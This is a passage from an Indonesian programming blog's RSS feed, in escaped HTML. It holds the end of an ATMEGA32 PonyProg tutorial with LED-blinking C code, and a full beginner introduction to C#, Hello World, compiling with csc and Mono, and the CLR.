/&gt;&lt;/a&gt;       &lt;br /&gt;17. Klik Probe, jika jawabannya Ok, berarti sambungan kabel benar.       &lt;br /&gt;18. Klik Setup-Callibration, kemudian Ok (hanya jalankan pada pertama kali merun ponyprog saja)       &lt;br /&gt;19. Klik File &amp;#8211; Open Program, kemudian cari file hex pada folder My Documents\testpertama\default       &lt;br /&gt;20. Klik Command-Write Program, sampai muncul pesan bahwa pemrograman sukses. Jika pemrograman gagal, cek kembali hubungan kabel.       &lt;br /&gt;21. Klik Command-Security and Configuration Bit       &lt;br /&gt;.       &lt;br /&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIWocXGiILJxqjeejyKZu0FOZjxylmX9MspnKTiJvt1v54B8xiG2uMd7QIfKJLf84JG1yv8DiiBcDCUhd4vAV7qVooo5pIscwGVjvTY_nm7zVUBgnzuzOvBjp3Uw_xK1-hs3qa_K39FGfQ/s1600-h/pony2.JPG&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIWocXGiILJxqjeejyKZu0FOZjxylmX9MspnKTiJvt1v54B8xiG2uMd7QIfKJLf84JG1yv8DiiBcDCUhd4vAV7qVooo5pIscwGVjvTY_nm7zVUBgnzuzOvBjp3Uw_xK1-hs3qa_K39FGfQ/s320/pony2.JPG&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;       &lt;br /&gt;22. Sesuaikan dengan gambar diatas, klik pada BODLEVEL, BODEN dan CKOPT       &lt;br /&gt;23. Klik Write       &lt;br /&gt;22. Klik Ok, coba reset mikrokontroller dengan memutus dan menyambungkan kembali power supply.       &lt;br /&gt;23. Lihat apakah led yang terhubung ke pin 23 dan 24 menyala dan led yang terhubung ke pin 22 mati. Jika ya, berarti anda sudah sukses memprogram ATMEGA32 dengan bahasa C! Kenapa hanya 2 led yang menyala padahal port C diisi angka 1? Silahkan pelajari source code dan rangkaiannya.       &lt;br /&gt;Sekarang, mari kita buat agar LED tersebut menyala bergantian.       &lt;br /&gt;Tambahkan pada program satu buah fungsi delay, sehingga program menjadi:       &lt;br /&gt;.       &lt;br /&gt;.       &lt;br /&gt;.       &lt;br /&gt;void tunggu(unsigned int dx)       &lt;br /&gt;{       &lt;br /&gt;unsigned int x;       &lt;br /&gt;unsigned int y;       &lt;br /&gt;for(x=0;x&amp;lt; 500;x++)       &lt;br /&gt;{       &lt;br /&gt;for(y=0;y&amp;lt; dx;y++) {}       &lt;br /&gt;}       &lt;br /&gt;}       &lt;br /&gt;int main(void)       &lt;br /&gt;{       &lt;br /&gt;DDRC=0xff;       &lt;br /&gt;while (1)       &lt;br /&gt;{       &lt;br /&gt;PORTC=0x06;       &lt;br /&gt;tunggu(500);       &lt;br /&gt;PORTC=0x05;       &lt;br /&gt;tunggu(500);       &lt;br /&gt;PORTC=0x03;       &lt;br /&gt;tunggu(500);       &lt;br /&gt;}       &lt;br /&gt;}       &lt;br /&gt;Coba dicompile dan dimasukkan ke mikro nya, apakah benar lednya menyala bergantian?       &lt;br /&gt;Pengembangan lebih lanjut:       &lt;br /&gt;1. Output port C dihubungkan dengan 8 buah lampu 220 Volt melalui isolasi optis yang dibahas pada posting mengenai isolasi optis.       &lt;br /&gt;2. Buat program yang membuat ke 8 lampu tersebut menyala bergantian.       &lt;br /&gt;atau       &lt;br /&gt;Anda dapat juga membuat alat pencegah maling seperti yang terdapat pada posting saya di bagian isolasi optis.&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://awasnyetrum.blogspot.com/2008/08/dasarmikrokontroller-atmel-avr-8-bit.html&quot; target=&quot;_blank&quot;&gt;awasnyetrum.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt;   &lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:ee44cc8f-a00e-4244-b79c-aa4563c0ef15&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/mikrokontroller&quot; rel=&quot;tag&quot;&gt;mikrokontroller&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/atmel&quot; rel=&quot;tag&quot;&gt;atmel&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/c&quot; rel=&quot;tag&quot;&gt;c&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/08/dasarmikrokontroller-atmel-avr-8-bit.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipDkdFsRjCNZbWOYkbVOSOpsh94uyQnPTKWBfdZtT0G3c0xpSfA6dFCGBsSKkED0-lvKFw9RZkdtcRtsXjrhue5dprIsOCdSIAwVMlWOdoNXMS4nQD3GnkcD0a4WWZJwIdHfL4Sj0vIC5R/s72-c/ponyprog_sch.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-3657558745505507844</guid><pubDate>Thu, 21 Aug 2008 13:05:00 +0000</pubDate><atom:updated>2008-08-21T20:05:21.520+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">C#</category><title>Berkenalan Dengan C# dan CLR</title><description>&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Pendahuluan&lt;/strong&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;C# (dibaca &amp;#8220;C Sharp&amp;#8221;) merupakan bahasa pemrograman modern yang berorientasi objek.&amp;#160; Secara sintaks C# mirip dengan bahasa-bahasa keluarga C seperti C, C++, dan Java.&amp;#160; C# menggabungkan produktifitas dan kemudahan yang ada di Visual Basic dengan kemampuan dan fleksibilitas yang ada di C++, dan menambahkan hal-hal baru yang tidak ada di Java. Perancang utamanya adalah Anders Hejlsberg dari Microsoft, yang dulunya membuat Turbo Pascal dan berperan dalam pengembangan bahasa Delphi dan IDE Borland Delphi.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Bahasa ini telah diserahkan oleh Microsoft ke badan standar internasional &lt;a href=&quot;http://www.ecma-international.org/&quot;&gt;ECMA&lt;/a&gt;.&amp;#160; Proses standarisasinya selesai pada Desember 2001 dengan nama standarnya &lt;a href=&quot;http://www.ecma-international.org/publications/standards/ecma-334.htm&quot;&gt;ECMA-334&lt;/a&gt;.&amp;#160; Dengan standar tersebut, siapapun dapat dengan mudah dan bebas membuat implementasi bahasa C#.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Hello, World!!!&lt;/strong&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Mungkin cara yang paling baik untuk mengenal suatu bahasa adalah dengan melihat contoh programnya.&amp;#160; Inilah program &amp;#8220;Hello World&amp;#8221; yang dibuat dengan C#:&lt;/p&gt;  &lt;div align=&quot;justify&quot;&gt;   &lt;pre&gt;// Contoh001&lt;br /&gt;&lt;br /&gt;class Halo&lt;br /&gt;{&lt;br /&gt;	static void Main()&lt;br /&gt;	{&lt;br /&gt;		System.Console.WriteLine(&amp;quot;Halo, dunia!!!&amp;quot;);&lt;br /&gt;	}&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Jika program tersebut dicompile dan dijalankan, maka akan keluar tulisan berikut di layar:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;Halo, dunia!!!&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Menganalisa &amp;#8220;Hello World&amp;#8221;&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Cara mengcompile dan menjalankan program &amp;#8220;Hello World&amp;#8221; akan dibahas di akhir tutorial ini.&amp;#160; Sebelumnya, kita akan menganalisa program di atas sedikit demi sedikit.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;// Contoh001&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Baris tersebut merupakan comment satu baris.&amp;#160; Comment satu baris diawali dengan &lt;strong&gt;//&lt;/strong&gt; dan berakhir di baris yang bersangkutan.&amp;#160; Comment tidak akan mempengaruhi jalannya program, walaupun begitu comment merupakan alat yang handal untuk dokumentasi dan penulisan catatan-catatan saat kita membuat program.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Lalu perhatikan baris berikut (baris sebelumnya sengaja dilompati):&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;static void Main()&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Baris di atas mendeklarasikan suatu method yang bernama &lt;strong&gt;Main() &lt;/strong&gt;(di beberapa bahasa pemrograman lain, method disebut fungsi atau subroutine). Setiap program C# harus memiliki method ini. Method &lt;strong&gt;Main() &lt;/strong&gt;adalah pintu masuk program anda, yang berarti bahwa method ini akan dipanggil saat program dijalankan.&amp;#160; Isi atau tubuh method harus diawali dengan &lt;strong&gt;{ &lt;/strong&gt;(kurung kurawal buka) dan diakhiri dengan } (kurung kurawal tutup).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;C# merupakan bahasa yang &amp;#8220;case sensitive&amp;#8221;, jadi method yang bernama &lt;strong&gt;Main()&lt;/strong&gt; (m huruf besar) berbeda dengan method yang bernama &lt;strong&gt;main()&lt;/strong&gt; (m huruf kecil).&amp;#160; Kita bisa melihat bahwa C# meninggalkan adat istiadat keluarga C yang menggunakan method &lt;strong&gt;main()&lt;/strong&gt; (m huruf kecil) sebagai pintu masuk program.&amp;#160; Hal ini dilakukan agar C# konsisten dengan salah satu panduan penamaan modern yaitu mengawali nama method dengan huruf besar.&amp;#160; Untuk sementara, &lt;strong&gt;static&lt;/strong&gt; dan &lt;strong&gt;void&lt;/strong&gt; tidak akan dibahas.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Kita bisa lihat bahwa method &lt;strong&gt;Main()&lt;/strong&gt; berada di dalam class yang bernama &lt;strong&gt;Halo&lt;/strong&gt;, dengan deklarasi sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;class Halo&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Class merupakan salah satu unit enkapsulasi di C#.&amp;#160; Maksudnya, class digunakan untuk mengelompokkan data-data dan method-method yang saling berhubungan.&amp;#160; Tubuh class dibatasi dengan { dan }.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Di dalam C#, method harus berada di dalam unit enkapsulasi, contohnya class.&amp;#160; Dalam Contoh001, method &lt;strong&gt;Main()&lt;/strong&gt; berada di dalam &lt;strong&gt;class&lt;/strong&gt; &lt;strong&gt;Halo&lt;/strong&gt;.&amp;#160; Ini adalah aturan baru bagi programmer C dan C++, tetapi bukanlah hal yang asing bagi programmer Java.&amp;#160; Kita bebas menentukan nama class yang memuat method &lt;strong&gt;Main()&lt;/strong&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Aktivitas utama program kita terletak di baris berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;System.Console.WriteLine(&amp;quot;Halo, dunia!!!&amp;quot;);&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Saat program dijalankan, baris tersebut menyebabkan keluarnya tulisan &amp;#8220;Halo, dunia!!!&amp;#8221; yang diikuti baris baru.&amp;#160; Hal tersebut dilaksanakan oleh method &lt;strong&gt;WriteLine()&lt;/strong&gt;.&amp;#160; Method &lt;strong&gt;WriteLine() &lt;/strong&gt;tersebut berada di dalam class yang bernama &lt;strong&gt;Console &lt;/strong&gt;(sebagaimana method &lt;strong&gt;Main() &lt;/strong&gt;berada dalam suatu class). Class &lt;strong&gt;Console &lt;/strong&gt;sendiri dikelompokkan ke dalam namespace yang bernama &lt;strong&gt;System&lt;/strong&gt;. Namespace digunakan untuk mengelompokkan class-class dan beberapa elemen bahasa lainnya.&amp;#160; Jadi kita memanggil method &lt;strong&gt;WriteLine() &lt;/strong&gt;dengan menuliskan mulai dari nama namespacenya, class yang memuatnya, sampai ke method itu sendiri. &amp;#194;&amp;#8220;&lt;strong&gt;Halo Dunia!&lt;/strong&gt;&amp;#194;&amp;#8221; dikatakan sebagai argumen bagi method &lt;strong&gt;WriteLine()&lt;/strong&gt;.&amp;#160; Class &lt;strong&gt;Console&lt;/strong&gt; merupakan bagian dari BCL (Base Class Library), jadi bisa dipastikan bahwa semua implementasi standar C# memilikinya.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Baris yang barus saja kita bahas biasa disebut dengan statement.&amp;#160; Statement di atas melakukan pemanggilan method, tetapi nanti kita akan melihat bahwa masih banyak jenis-jenis statement lainnya.&amp;#160; Setiap statement di C# harus diakhiri dengan &lt;strong&gt;;&lt;/strong&gt; (titik koma).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Terlalu Panjang?&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Jika kita membuat program console, kita akan banyak memakai method &lt;strong&gt;WriteLine()&lt;/strong&gt;.&amp;#160; Pemanggilannya yang cukup panjang seperti pada Contoh001 tentunya akan merepotkan.&amp;#160; Ada cara yang dapat dilakukan untuk menyingkatnya, yaitu sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;// Contoh002&lt;br /&gt;&lt;br /&gt;using System;&lt;br /&gt;&lt;br /&gt;class HaloDanDadah&lt;br /&gt;{&lt;br /&gt;	static void Main()&lt;br /&gt;	{&lt;br /&gt;		Console.WriteLine(&amp;quot;Halo!&amp;quot;);&lt;br /&gt;		Console.WriteLine(&amp;quot;Dadah!&amp;quot;);&lt;br /&gt;	}&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Output programnya adalah sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;Halo!&lt;br /&gt;Dadah!&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Perhatikan statement berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;using System;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Statement tersebut memungkinkan kita untuk menggunakan semua class yang berada di dalam namespace &lt;strong&gt;System&lt;/strong&gt; secara langsung.&amp;#160; Karenanya, pemanggilan terhadap method &lt;strong&gt;WriteLine()&lt;/strong&gt; cukup diawali dengan nama classnya yaitu &lt;strong&gt;Console&lt;/strong&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Di dalam Contoh002 juga jelas terlihat bahwa method &lt;strong&gt;WriteLine()&lt;/strong&gt; mengganti baris setelah menuliskan argumennya.&amp;#160; Oleh karena itu, &amp;#8220;Dadah!&amp;#8221; tertulis di bawah &amp;#8220;Halo!&amp;#8221;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Membuat, Mengcompile, dan Menjalankan Program&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Di bagian ini akan dibahas dua cara, yaitu menggunakan Framework .NET di Windows dan menggunakan Mono di Linux.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Menggunakan Framework .NET di Windows&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Yang pertama kali harus kita lakukan adalah mendownload &lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyId=9B3A2CA6-3647-4070-9F41-A333C6B9181D&amp;amp;displaylang=en&quot;&gt;Microsoft .NET Framework SDK&lt;/a&gt; (106 MB) atau &lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?FamilyId=262D25E3-F589-4842-8157-034D1E7CF3A3&amp;amp;displaylang=en&quot;&gt;Microsoft .NET Framework Redistributable&lt;/a&gt; (23 MB).&amp;#160; Ukuran versi SDK jauh lebih besar dari versi redistributablenya, sebab versi SDK memuat dokumentasi, contoh-contoh program, dan tools-tools tambahan yang berguna untuk pengembangan program.&amp;#160; Untuk mencoba program-program di tutorial ini anda dapat menggunakan versi redistributable.&amp;#160; Dokumentasi yang ada di SDK akan menjadi kebutuhan saat anda sudah memulai pemrograman serius menggunakan C#.&amp;#160; Versi SDK hanya akan dapat berjalan di Windows 2000, Windows XP, dan Windows Server 2003.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Setelah menginstall Framework .NET, di dalam folder Windows anda akan terdapat folder yang menyimpan compiler C#.&amp;#160; Contoh foldernya adalah sebagai berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Lokasi tepatnya bergantung pada lokasi folder Windows anda dan versi Framework .NET yang anda install.&amp;#160; Compiler C# yang terletak di folder tersebut bernama &lt;strong&gt;csc.exe&lt;/strong&gt;.&amp;#160; Untuk dapat memanggil compiler C# dari folder manapun, pastikan untuk menulis perintah seperti berikut di command prompt (cek dulu lokasi foldernya):&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;PATH = %PATH%; C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Setting tersebut hanya akan berlaku dan bertahan pada command prompt yang sedang anda gunakan.&amp;#160; Untuk membuatnya universal dan permanen, tambahkan perintah tersebut ke file &lt;strong&gt;autoexec.bat&lt;/strong&gt;.&amp;#160; Cara lainnya, jika anda menggunakan Windows 2000 atau Windows XP, adalah dengan mengklik kanan &amp;#8220;My Computer&amp;#8221;, memilih &amp;#8220;Properties&amp;#8221;, masuk ke tab &amp;#8220;Advanced&amp;#8221;, dan memilih &amp;#8220;Environment Variables&amp;#8221;.&amp;#160; Di bagian &amp;#8220;System Variables&amp;#8221; terdapat variabel &amp;#8220;Path&amp;#8221;.&amp;#160; Tambahkan folder tempat Framework .NET terinstall ke variable &amp;#8220;Path&amp;#8221; tersebut.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Anda dapat menuliskan program-program C# dengan text editor seperti notepad.&amp;#160; Save source code anda dengan akhiran cs, misalnya contoh002.cs.&amp;#160; Untuk mengcompile program anda, masuklah ke command prompt dan gunakan csc.&amp;#160; Misalnya, untuk mengcompile contoh002.cs digunakan perintah berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;csc contoh002.cs&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Hasil kompilasinya adalah contoh002.exe.&amp;#160; Anda dapat menjalankannya dengan mengetikkan nama filenya, misalnya:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;contoh002&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Menggunakan Mono di Linux&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://www.go-mono.com/&quot;&gt;Mono&lt;/a&gt; merupakan salah satu proyek open source untuk membuat implementasi Framework .NET.&amp;#160; Cara-cara menginstallnya terdapat di website yang bersangkutan.&amp;#160; Setelah Mono terinstall, ketik source code dengan text editor favorit anda dan save dengan akhiran cs.&amp;#160; Untuk mengcompile program anda, gunakan perintah berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;mcs namaprogram.cs&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Untuk menjalankannya, gunakan perintah berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;br /&gt;  &lt;pre&gt;mono namaprogram.exe&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Terdapat juga Mono untuk Windows.&amp;#160; Silahkan mencobanya jika anda tertarik.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Menggunakan IDE (Integrated Development Environment)&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;img height=&quot;307&quot; alt=&quot;&quot; src=&quot;http://awank.web.ugm.ac.id/files/e-book/images/sharpdevelop.gif&quot; width=&quot;553&quot; border=&quot;0&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Selain menggunakan text editor dan command line compiler, kita bisa juga menggunakan beberapa IDE yang telah tersedia.&amp;#160; IDE gratis yang bisa diperoleh contohnya adalah &lt;a href=&quot;http://www.icsharpcode.com/OpenSource/SD/Default.aspx&quot;&gt;SharpDevelop&lt;/a&gt; (lihat gambar di atas) dan &lt;a href=&quot;http://www.monodevelop.com/&quot;&gt;MonoDevelop&lt;/a&gt;.&amp;#160; IDE komersial yang ada contohnya adalah &lt;a href=&quot;http://msdn.microsoft.com/vstudio/&quot;&gt;Microsoft Visual Studio .NET 2003&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Berkenalan dengan CLR dan Konsep Program Managed&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Program-program C# yang dihasilkan tidaklah terikat dengan hardware maupun operating system tertentu.&amp;#160; Untuk menjalankan suatu program C#, di komputer (atau alat elektronik lain) yang bersangkutan harus tersedia CLR (Common Language Runtime).&amp;#160; Jalannya sebuah program C# akan dikelola sepenuhnya oleh CLR, oleh karena itu program C# dikatakan sebagai program yang managed.&amp;#160; Program-program klasik yang langsung berinteraksi dengan operating system maupun hardware tertentu disebut program unmanaged.&amp;#160; Untuk lebih jelasnya, lihatlah diagram berikut:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;img height=&quot;201&quot; alt=&quot;&quot; src=&quot;http://awank.web.ugm.ac.id/files/e-book/images/managed.gif&quot; width=&quot;602&quot; border=&quot;0&quot; /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Dengan perantara CLR tersebut, program-program C# menjadi portable.&amp;#160; Misalnya, program C# yang dicompile menggunakan Microsoft .NET Framework dapat langsung dijalankan di Linux asalkan terinstall Mono atau implementasi CLR lainnya.&amp;#160; Mungkin anda sudah bisa menebak bahwa Microsoft .NET Framework dan Mono merupakan beberapa implementasi CLR yang ada.&amp;#160; Beberapa implementasi CLR lainnya contohnya adalah &lt;a href=&quot;http://msdn.microsoft.com/vstudio/device/compact.aspx&quot;&gt;Microsoft .NET Compact Framework&lt;/a&gt; (untuk Pocket PC dan handphone), &lt;a href=&quot;http://www.gnu.org/projects/dotgnu/&quot;&gt;dotGNU Portable .NET&lt;/a&gt; (untuk Linux), dan &lt;a href=&quot;http://www.sscli.net/&quot;&gt;Rotor&lt;/a&gt; (untuk FreeBSD).&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Konsep ini sekilas terdengar mirip dengan Java dan JVMnya, namun ada beberapa hal yang membedakan CLR dengan Java.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;CLR merupakan bagian dari standar internasional yang disebut CLI (Common Language Infratructure).&amp;#160; CLI memuat CLR, CIL (Common Intermediate Language, analog dengan Java bytecode), dan BCL (Base Class Library).&amp;#160; Sifat CLR yang merupakan open standard memungkinkan siapa saja membuat implementasinya.&amp;#160; Hal ini berbeda dengan platform Java yang merupakan platform pribadi milik Sun.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Tidak seperti platform Java yang terkait dengan bahasa Java, CLR tidak terkait dengan bahasa pemrograman apapun. Contoh-contoh bahasa yang bisa dipakai untuk membuat program managed adalah C#, Managed Extension for C++, Visual Basic .NET, Jscript .NET, J#, Pascal .NET, Delphi .NET, Phyton .NET, Eiffel#, COBOL .NET, dan Perl .NET.&amp;#160; Program yang dibuat dengan bahasa berbeda dapat dengan mudah berinteraksi!&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;CLI dibuat oleh Microsoft bersamaan dengan implementasinya yaitu Framework .NET.&amp;#160; Microsoft menyerahkan CLI kepada ECMA untuk distandarisasi agar pengadopsiannya lebih cepat dan meluas.&amp;#160; Hasil standarisasi tersebut tidaklah sia-sia, sebab dengan standar-standar yang ada muncullah implementasi-implementasi open source seperti Mono dan dotGNU Portable .NET.&amp;#160; Standar CLI tersebut diberi nama &lt;a href=&quot;http://www.ecma-international.org/publications/standards/ecma-335.htm&quot;&gt;ECMA-335&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Penutup&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Tutorial pengenalan ini mungkin belum bisa memperlihatkan keunggulan C# terhadap bahasa-bahasa pemrograman lainnya, terutama terhadap C++ dan Java.&amp;#160; Programmer C++ nantinya akan melihat bahwa sintaks di C# lebih bersih, aturan-aturan bahasanya lebih sederhana, dan class librarynya yang berorientasi objek sangat intuitif untuk dipakai.&amp;#160; Programmer Java akan lebih cepat untuk beradaptasi dan akan menghargai elemen-elemen bahasa baru seperti property, indexer, delegate, dan event.&amp;#160; Dengan mempelajari C#, anda juga telah mulai menapakkan kaki anda ke dunia pemrograman managed yang modern, di mana perbedaan bahasa, operating system, dan hardware tidak lagi menjadi pembatas.&amp;#160; Semoga tutorial ini dapat menarik minat anda untuk mempelajari C# lebih lanjut.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;source : &lt;a href=&quot;http://ajidotnet.wordpress.com/2008/08/08/berkenalan-dengan-c-dan-clr/&quot; target=&quot;_blank&quot;&gt;ajidotnet.wordpress.com&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;wlWriterSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2f518a33-90e5-4b98-a228-da05f5ca379c&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/c#&quot; rel=&quot;tag&quot;&gt;c#&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/berkenalan&quot; rel=&quot;tag&quot;&gt;berkenalan&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/programming&quot; rel=&quot;tag&quot;&gt;programming&lt;/a&gt;&lt;/div&gt;  